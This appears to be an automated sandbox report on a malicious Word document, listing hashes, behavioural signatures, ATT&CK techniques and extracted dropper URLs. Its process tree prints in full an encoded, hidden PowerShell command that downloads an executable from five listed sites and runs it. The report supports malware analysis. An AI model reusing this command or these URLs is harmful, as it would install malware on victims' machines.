Overview

overview

5

task1

 

5

Analysis

  • max time kernel
    28s
  • resource
    win10v191014
  • submitted
    12-12-2019 09:05

Sharing

Copy URL
Twitter E-mail

General

  • Target

    cec959a883abfaf4781d532691230f8574651c138d9bfdfd312e54a19b0043e1.doc

  • Sample

    191212-p58m98ae9n

  • SHA256

    cec959a883abfaf4781d532691230f8574651c138d9bfdfd312e54a19b0043e1

Score
5/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://jdcc-stu.com/wp-includes/6109/
exe.dropper

http://jandmadventuring.servermaintain.com/wp-content/uploads/8ly08u77849/
exe.dropper

http://wilkopaintinc.com/common_resource/qac395/
exe.dropper

http://essemengineers.com/AdminPanel/cku0s00262/
exe.dropper

http://t666v.com/vlk2lo4i/fi20416/

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cec959a883abfaf4781d532691230f8574651c138d9bfdfd312e54a19b0043e1.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:4952
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4356
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:4488
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABIAHAAaQBvAHgAeQByAGsAcgB5AHcAPQAnAE4AbwBlAGcAZwBxAGwAbQByAGUAdQAnADsAJABBAGUAbABlAGYAbABpAGoAZwB6AGEAeQAgAD0AIAAnADcAMQA5ACcAOwAkAEMAcABjAHEAaQBlAHQAZwBtAG0APQAnAEMAZABxAG4AbQBpAHAAdwAnADsAJABMAHcAYgByAGcAcgBqAG8AYwB2AHYAeAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBlAGwAZQBmAGwAaQBqAGcAegBhAHkAKwAnAC4AZQB4AGUAJwA7ACQAQwB0AHUAaABhAGQAcABrAG4AdwBmAGwAPQAnAE8AaQBvAGwAdwBnAGMAcgB6AGcAbgBpACcAOwAkAEwAYQBmAGIAZgBwAHQAZQBlAGYAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAYwBMAEkAZQBOAFQAOwAkAEIAcwBkAGgAdABxAGMAaAB5AGMAcQA9ACcAaAB0AHQAcAA6AC8ALwBqAGQAYwBjAC0AcwB0AHUALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADYAMQAwADkALwAqAGgAdAB0AHAAOgAvAC8AagBhAG4AZABtAGEAZAB2AGUAbgB0AHUAcgBpAG4AZwAuAHMAZQByAHYAZQByAG0AYQBpAG4AdABhAGkAbgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwA4AGwAeQAwADgAdQA3ADcAOAA0ADkALwAqAGgAdAB0AHAAOgAvAC8AdwBpAGwAawBvAHAAYQBpAG4AdABpAG4AYwAuAGMAbwBtAC8AYwBvAG0AbQBvAG4AXwByAGUAcwBvAHUAcgBjAGUALwBxAGEAYwAzADkANQAvACoAaAB0AHQAcAA6AC8ALwBlAHMAcwBlAG0AZQBuAGcAaQBuAGUAZQByAHMALgBjAG8AbQAvAEEAZABtAGkAbgBQAGEAbgBlAGwALwBjAGsAdQAwAHMAMAAwADIANgAyAC8AKgBoAHQAdABwADoALwAvAHQANgA2ADYAdgAuAGMAbwBtAC8AdgBsAGsAMgBsAG8ANABpAC8AZgBpADIAMAA0ADEANgAvACcALgAiAHMAcABMAGAAaQB0ACIAKAAnACoAJwApADsAJABTAG0AZAB2AHMAaQBuAGoAPQAnAEUAcAByAGMAeQBrAHUAcQAnADsAZgBvAHIAZQBhAGMAaAAoACQARQByAGcAbgB3AHEAegB5ACAAaQBuACAAJABCAHMAZABoAHQAcQBjAGgAeQBjAHEAKQB7AHQAcgB5AHsAJABMAGEAZgBiAGYAcAB0AGUAZQBmAC4AIgBkAE8AdwBOAEwAYABvAGAAQQBkAGYAYABpAGwAZQAiACgAJABFAHIAZwBuAHcAcQB6AHkALAAgACQATAB3AGIAcgBnAHIAagBvAGMAdgB2AHgAKQA7ACQAWQBkAHQAZQBhAG4AcwBrAHQAbgB0AHMAPQAnAFIAYgB0AGsAdABoAGgAZgBtAG4AJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAHcAYgByAGcAcgBqAG8AYwB2AHYAeAApAC4AIgBsAGUATgBHAGAAVABoACIAIAAtAGcAZQAgADIANQA0ADQANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAdAAiACgAJABMAHcAYgByAGcAcgBqAG8AYwB2AHYAeAApADsAJABaAHQAbwBtAHcAdQBiAGYAbwBzAHkAPQAnAFAAYwBwAGkAZwBtAGkAZgBrACcAOwBiAHIAZQBhAGsAOwAkAEoAeABoAG4AdAByAGcAeAB1AHgAcwByAD0AJwBXAHgAZgBnAGQAaQB1AHEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBxAGUAaAB1AHkAawBwAHYAdwBjAHoAPQAnAE0AeABtAGIAYQBoAHcAbABqAGgAagAnAA==
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      PID:3676

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Credential Access

    Discovery

    Query Registry

    3
    T1012

    System Information Discovery

    3
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/4952-2-0x0000012DFA747000-0x0000012DFA776000-memory.dmp
      Filesize

      188KB

      Download
    • memory/4952-3-0x0000012DFA747000-0x0000012DFA776000-memory.dmp
      Filesize

      188KB

      Download
    • memory/4952-4-0x0000012DFA747000-0x0000012DFA776000-memory.dmp
      Filesize

      188KB

      Download